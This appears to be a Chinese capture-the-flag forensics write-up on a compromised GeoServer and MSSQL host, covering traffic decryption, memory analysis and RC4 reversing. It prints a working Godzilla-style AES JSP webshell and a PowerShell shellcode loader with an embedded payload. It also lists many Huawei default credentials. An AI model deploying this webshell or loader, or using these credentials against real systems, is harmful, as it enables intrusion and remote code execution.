题目附件,失效联系n0o0b哦
链接:https://pan.quark.cn/s/0faafe821c4a
提取码:d6nv

日志流量

1.1 文件排查

新手运维小王的Geoserver遭到了攻击:

黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。

D盾扫描

image-20250107002554769

web\apache-tomcat-9.0.96\work\Catalina\localhost\ROOT\org\apache\jsp\b_jsp.java

/*
 * Generated by the Jasper component of Apache Tomcat
 * Version: Apache Tomcat/9.0.96
 * Generated at: 2024-12-16 09:23:36 UTC
 * Note: The last modified time of this file was set to
 *       the last modified time of the source file after
 *       generation to assist with modification tracking.
 */
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class b_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports {

 String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; String xc="a2550eeab0724a69"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();

  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

  private static final java.util.Set<java.lang.String> _jspx_imports_packages;

  private static final java.util.Set<java.lang.String> _jspx_imports_classes;

  static {
    _jspx_imports_packages = new java.util.LinkedHashSet<>(4);
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }

  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }

  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }

  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }

  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }

  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }

  public void _jspInit() {
  }

  public void _jspDestroy() {
  }

  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
      throws java.io.IOException, javax.servlet.ServletException {

    if (!javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
      final java.lang.String _jspx_method = request.getMethod();
      if ("OPTIONS".equals(_jspx_method)) {
        response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
        return;
      }
      if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method)) {
        response.setHeader("Allow","GET, HEAD, POST, OPTIONS");
        response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");
        return;
      }
    }

    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;


    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
      			null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}

    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}

code变量显然是一段base64,解密后为flag

image-20250107002909337

**1.2 流量解密 **

新手运维小王的Geoserver遭到了攻击:

小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。

上一题的马具有哥斯拉aes马特征

AES-ECB -> gunzip

image-20250107011746081

或者用该工具解密

abc123info/BlueTeamTools: 蓝队分析研判工具箱

image-20250107172447334

浅搓了个脚本

对于数据量大分段传输的报文无法解密

import sys
from scapy.all import *
import gzip
from Crypto.Cipher import AES


def aes_ecb_decrypt(key, ciphertext):
    """
    使用 AES-ECB 模式解密数据
    """
    key = key.encode('utf-8')  # 密钥需要编码为字节形式
    cipher = AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(ciphertext)
    return remove_padding(decrypted)


def remove_padding(data):
    """
    移除 PKCS#7 填充
    """
    padding_len = data[-1]  # 填充的最后一个字节表示填充长度
    if padding_len > 16:
        raise ValueError("填充长度无效")
    if all(p == padding_len for p in data[-padding_len:]):
        return data[:-padding_len]
    return data  # 如果填充无效,返回原始数据


def gzip_decompress(data):
    """
    对数据进行 GZIP 解压
    """
    return gzip.decompress(data)


def extract_http_data(pcapng_file):
    """
    解析 PCAPNG 文件,解密并解压 HTTP 数据,同时输出 IP 流向
    """
    # 读取 pcapng 文件
    packets = rdpcap(pcapng_file)

    # 遍历所有包
    for idx, packet in enumerate(packets, start=1):
        # 检查包是否包含 IP、TCP 和 Raw 层
        if packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):
            # 获取源 IP 和目标 IP
            src_ip = packet[IP].src
            dst_ip = packet[IP].dst

            raw_data = packet[Raw].load  # 获取原始数据

            # 检查是否包含 HTTP 请求(如 GET 或 POST)
            if b"HTTP" in raw_data:
                # 找到 HTTP 请求头结束的位置(两行空白)
                end_of_header = raw_data.find(b"\r\n\r\n")

                # 如果找到了 HTTP 头部的结束标志,提取数据部分
                if end_of_header != -1:
                    http_data = raw_data[end_of_header + 4:]  # 获取数据部分(去掉头部)
            else:
                http_data = raw_data

            # 尝试解密和解压
            key = "a2550eeab0724a69"
            if idx==7410:
                print(raw_data.hex())

                decrypted_data = aes_ecb_decrypt(key, raw_data)
                print(decrypted_data.hex())

                decompressed_data = gzip_decompress(decrypted_data)

                # 输出 IP 流向和解密结果
                print(f"[+]{idx}: {src_ip} -> {dst_ip}")
                print(decompressed_data.decode('utf-8', errors='replace'))
                print('-' * 50)
            try:
                decrypted_data = aes_ecb_decrypt(key, http_data)
                decompressed_data = gzip_decompress(decrypted_data)

                # 输出 IP 流向和解密结果
                print(f"[+]{idx}: {src_ip} -> {dst_ip}")
                print(decompressed_data.decode('utf-8', errors='replace'))
                print('-' * 50)

            except Exception as e:
                continue


def main():
    if len(sys.argv) < 2:
        print("用法: python script.py <pcapng文件路径>")
        sys.exit(1)

    pcapng_file = sys.argv[1]
    extract_http_data(pcapng_file)


if __name__ == "__main__":
    main()

image-20250107132612426

**1.3 文件提取 **

新手运维小王的Geoserver遭到了攻击:

小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。

使用流量解密工具进行解密流量并删除无用部分后另存为pdf。

是这一大坨没错了

image-20250107172613397

赛博厨解密一下保存

image-20250107172735154

PDF对文件头不敏感,不需要修改多余数据,保存为PDF后缀文件直接打开

image-20250107173412511

数据库

2.1 攻击者创建隐藏账户的时间

DiskGenius导入vmdk

image-20250107183552032

找到\Windows\System32\config\SAM\Windows\System32\config\SYSTEM\Windows\System32\config\SECURITY

用cmd5解密

image-20250107201619287

mssql.ovf导入到vmware打开,登录密码Password@123

image-20250107211814030

flag{2024/12/16 15:24:21}

2.2 恶意文件的名称

任务管理器查看进程,发现挖矿程序XMRig

image-20250107213414503

flag{xmrig.exe}

2.3 外联地址

运行程序或者查看config配置文件能看到域名和ip

image-20250107213959774

flag{203.107.45.167}

2.4 数据库修复

C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA目录下储存MSSQL数据

image-20250107221643919

flag{E4r5t5y6Mhgur89g}

2.5 逆向恶意powoshell的md5值

请提交powershell命令中恶意文件的MD5

image-20250108001714874

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

解密

image-20250107235829022

function tWk {
        Param ($k0M, $ybp)
        $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp))
}

function lVhI5 {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,
                [Parameter(Position = 1)] [Type] $nZWM = [Void]
        )

        $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed')
        $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed')

        return $p8dl.CreateType()
}

[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
        $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null
}

1. tWk 函数

目的:动态解析并调用 Windows API 函数。

  • 参数:
    • $k0M:DLL 名称(如 kernel32.dll)。
    • $ybp:需要调用的函数名(如 VirtualAlloc)。
  • 实现:
    • 使用 .NET 反射从 System.dll 中查找 Microsoft.Win32.UnsafeNativeMethods 类。
    • 通过 GetModuleHandleGetProcAddress 获取指定 API 函数的指针。

2. lVhI5 函数

目的:定义动态委托以调用非托管代码。

  • 参数
    • $v8K8:委托的参数类型数组。
    • $nZWM:委托的返回值类型,默认是 [Void]
  • 实现
    • 使用 .NETDefineDynamicAssemblyDefineDynamicModule 动态定义一个委托类型。
    • 定义一个构造函数和 Invoke 方法,用于调用原生函数。
    • 返回生成的委托类型。

3. Base64 解码的负载

  • $tUZml 是一个 Base64 编码的字节数组,包含了待执行的二进制负载。
  • 通过 FromBase64String 解码后,存储在内存中准备执行。

4. 调用 Windows API

  1. VirtualAlloc
    • 动态获取 VirtualAlloc 的指针并调用,用于在内存中分配可读写的区域。
    • 参数:
      • [IntPtr]::Zero:表示分配的起始地址由系统决定。
      • $tUZml.Length:分配的内存大小,与解码后的负载大小一致。
      • 0x3000:表示分配类型为 MEM_COMMIT | MEM_RESERVE
      • 0x04:表示内存保护为 PAGE_READWRITE
  2. VirtualProtect
    • 调用 VirtualProtect 修改分配内存的保护属性,使其变为可执行(PAGE_EXECUTE_READ)。
    • 参数:
      • $rS:指向分配的内存地址。
      • $tUZml.Length:要修改的内存大小。
      • 0x10:新保护属性 PAGE_EXECUTE_READ
      • [Ref]$uKrz:用于存储旧的保护属性。
  3. CreateThread
    • 使用 CreateThread 创建一个新线程,执行解码后的负载。
    • 参数:
      • [IntPtr]::Zero:线程安全属性。
      • 0:线程堆栈大小。
      • $rS:线程入口点,指向解码的负载。
      • [IntPtr]::Zero:线程参数。
      • 0:默认创建标志。
      • [IntPtr]::Zero:接收线程 ID 的指针。
  4. WaitForSingleObject
    • 调用 WaitForSingleObject 等待线程执行完成。
    • 参数:
      • $yfm6I:线程句柄。
      • 0xffffffff:无限等待。

最后写入内存执行的是base64解密后的负载

md5加密就是答案

image-20250108000933087

flag{d72000ee7388d7d58960db277a91cc40}

内存取证

判断镜像系统

volatility.exe -f .\SERVER-2008-20241220-162057.raw imageinfo

其实文件名已经说明win2008

image-20250108013541962

3.1 远程rdp连接的跳板地址:

volatility.exe -f .\SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 netscan

image-20250108020645824

flag{192.168.60.220}

3.2 攻击者下载黑客工具的IP地址:

image-20250108021302114

flag{155.94.204.67}

3.3 黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么:

执行如下,可以打印控制台会话,不过数据残缺不全

volatility.exe -f .\SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 consoles

image-20250108022742259

直接输出显示可能有问题,输出到文件中

image-20250108164841632

image-20250108165012786

拿到偏移,读内存

volatility.exe -f .\SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 dumpfiles -Q 0x000000007e4cedd0 -D ./
常用登录帐户的默认帐号如表1-1所示。			
表1-1  常用登录帐户			
产品	帐户说明		默认帐户
FusionManager	FusionManager帐户		用户名:admin
			密码:Admin@123
	FusionManager帐户		用户名:geadmin
			密码:Admin@123
	说明:		
	使用该帐户登录FusionManager并跳转到FusionCompute后,拥有FusionCompute系统的所有管理和维护权限。使用其余帐户跳转到FusionCompute后,只能查看数据和修改告警阈值。		
			
	FusionManager节点操作系统帐户		用户名:root
	不能直接使用root帐户登录。若需要使用root帐户,需先用galaxmanager帐户登录,然后执行su - root切换到root帐户。		密码:Huawei@001
	FusionManager节点操作系统帐户(业务帐户)		用户名:galaxmanager
			密码:GalaxManager_2012
	FusionManager访问数据库的帐户		用户名:galaxmanager
			密码:GalaxManager7!
	FusionManager数据库的帐户		用户名:cloudmgr
			密码:Manager@123
	FusionManager数据库默认的系统帐户		用户名:sys
			密码:System@123
FusionCompute	主机的操作系统帐户		用户名:root
	不能直接使用root帐户登录。若需要使用root帐户,需先用gandalf帐户登录,然后执行su - root切换到root帐户。		密码:Huawei_123
	主机的操作系统帐户(业务帐户)		用户名:gandalf
			密码:Pwd8800_magic$
	VRM节点的操作系统帐户		用户名:root
	不能直接使用root帐户登录。若需要使用root帐户,需先用gandalf帐户登录,然后执行su - root切换到root帐户。		密码:root
	VRM节点的操作系统帐户(业务帐户)		用户名:gandalf
			密码:Pwd8800_magic$
	FusionCompute访问数据库的帐户		用户名:galax
			密码:SingleLOUD!1
	管理节点VNC登录帐户		用户名:root
			密码:GalaX088
FusionStorage	FusionStorage Manager节点操作系统帐户		用户名:root
			密码:UVP_2012lab
	FusionStorage Manager节点操作系统的业务帐户		用户名:dsware
			密码:dsmHuawei@123
	FusionStorage访问数据库的帐户		用户名:omm
			密码:ommHuawei@123
内部部件通讯帐户	FusionManager对FusionCompute的内部通讯帐户		用户名:GERest
			密码:Rest@GE123
	FusionCompute对FusionManager的内部通讯帐户		用户名:gmsysman
			密码:GMEnginE@123
	FusionManager对FusionStorage的内部通讯帐户		用户名:OmmRest
			密码:Omm@1234
	FusionStorage对FusionManager的内部通讯帐户		用户名:gmadmin
			密码:gmHuawei@123
	FusionManager内部的通讯帐户		用户名:GmUhmRest
			密码:Rest@GmUhm123
	FusionCompute内部的通讯帐户		用户名:gesysman
			密码:GeEnginE@123
	FusionStorage对外提供的Rest接口帐户	FusionStorage对其他Rest接口帐户提供的接口帐户	用户名:admin
			密码:Huawei@123
		FusionStorage对健康检查工具提供的接口帐户	用户名:healthycheckadmin
			密码:hcHuawei@123
		FusionStorage对CLI命令行界面提供的接口帐户	用户名:cmdadmin
			密码:cmdHuawei@123
		FusionStorage对升级补丁提供的接口帐户	用户名:upadmin
			密码:upHuawei@123
		FusionStorage预留的Rest接口帐户	用户名:rsadmin
			密码:rsHuawei@123
		FusionStorage对HA机制提供的接口帐户	用户名:haadmin
			密码:haHuawei@123
		FusionStorage对OMM内部模块提供的接口帐户	用户名:systemman
			密码:Admin@123
		FusionStorage对FusionCompute提供的接口帐户	用户名:geadmin
			密码:geHuawei@123
FusionManager访问硬件设备的帐户	FusionManager访问主机操作系统的帐户		用户名:gandalf
			密码:Pwd8800_magic$
	FusionManager访问主机BMC的帐户		用户名:uhmroot
			密码:UhmRoot@2012
	FusionManager访问机框的帐户		用户名:uhmroot
			密码:UhmRoot@2012
	FusionManager访问存储设备的帐户		用户名:uhmroot
			密码:UhmRoot@2012
	FusionManager访问交换机的帐户		用户名:uhmroot
			密码:UhmRoot@2012
FTP帐户	FusionCompute下发CNA、Tools补丁到主机上的帐户		用户名:ftppatchuser
			密码:Patch_123
	日志服务器FTP帐户		用户名:cnalog
			密码:1q2w3e~!
硬件设备帐户	E6000服务器刀片BMC系统帐户		用户名:root
			密码:root
	E6000服务器管理模块帐户		用户名:root
			密码:huaweiosta
	E9000服务器刀片BMC系统帐户		用户名:root
			密码:Huawei12#$
	E9000服务器管理模块帐户		用户名:root
			密码:Huawei12#$
	IP SAN存储管理系统帐户		用户名:admin
			密码:Admin@storage                                                                                                     

flag{GalaxManager_2012}

3.4 攻击者创建的用户:

image-20250108171945368

flag{ASP.NET}

正解如下

volatility.exe -f .\SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 filescan | findstr "Security.evtx"
volatility.exe -f .\SERVER-2008-20241220-162057.raw --profile=Win2008R2SP0x64 dumpfiles -Q 0x000000007e744ba0 -D ./

image-20250108172601716

3.5 攻击者利用跳板rdp登录的时间

后门用户ASP.NET和第一题的地址192.168.60.220都对应

image-20250108173337496

flag{2024/12/21 0:15:34}

3.6 攻击者创建用户的密码哈希值:

ASP.NET:1001:aad3b435b51404eeaad3b435b51404ee:5ffe97489cbec1e08d0c6339ec39416d:::

image-20250108173600097

flag{5ffe97489cbec1e08d0c6339ec39416d}

逆向破解

执行会报错

image-20250109020611666

动调发现此处控制错误代码

image-20250108213440837

溯源到sub_7FF7CF771000

image-20250108213911323

image-20250108213940930

image-20250109020303856

读取文件

image-20250108214847092

image-20250108214911754

写一个C:\Users\Administrator\Document\机密文件.txt,方便调试

image-20250108233442843

在该处数据写到内存中

image-20250108235439887

跟踪一下,找到如下,疑似RC4

image-20250109000738617

无魔改6位key RC4

image-20250109011707974

一堆看不懂的操作生成了key,但最后模了0xA,能确定key每byte在0-9之间

image-20250109010631664

多次动调发现key是随机的

image-20250109011042969

image-20250109011123744

加密后的结果

image-20250109013900853

写入文件的结果

image-20250109013929116

一致,

import itertools


# RC4 解密函数
def rc4(key, data):
    """
    通过 RC4 算法解密数据
    :param key: 密钥 (bytes)
    :param data: 密文 (bytes)
    :return: 明文 (bytes)
    """
    S = list(range(256))  # 初始化S盒
    j = 0
    # 初始化S盒
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    output = []
    # 生成伪随机字节流并与密文异或解密
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        output.append(byte ^ K)

    return bytes(output)


# 爆破 RC4 密钥
def brute_force_rc4(ciphertext):
    # 密钥是六位,每位是 0x01 - 0x09
    possible_keys = itertools.product(range(0, 10), repeat=6)  # 生成所有六位的可能密钥(1-9)

    for key_tuple in possible_keys:
        key = bytes(key_tuple)  # 转换为字节形式
        plaintext = rc4(key, ciphertext)
        try:
            decoded = plaintext.decode('utf-8')
            print(f"Key: {key} => Plaintext: {decoded}")
        except UnicodeDecodeError:
            # 如果解码错误,跳过这个密钥
            continue


# 给定的密文(以十六进制表示)
ciphertext_hex = [
    0x93, 0x62, 0x10, 0x6C, 0x8B, 0xCF, 0xB9, 0x03, 0x67, 0x20,
    0x21, 0x14, 0xA4, 0x45, 0xD4, 0xCB, 0x06, 0x30, 0x1D, 0xE3,
    0xE0, 0xC9, 0xBD, 0x86, 0xA3, 0x45, 0xAD
]
ciphertext = bytes(ciphertext_hex)

# 调用暴力破解函数
brute_force_rc4(ciphertext)

image-20250109020006681

flag{c4A8s_SjcC_9cPl_88xBs}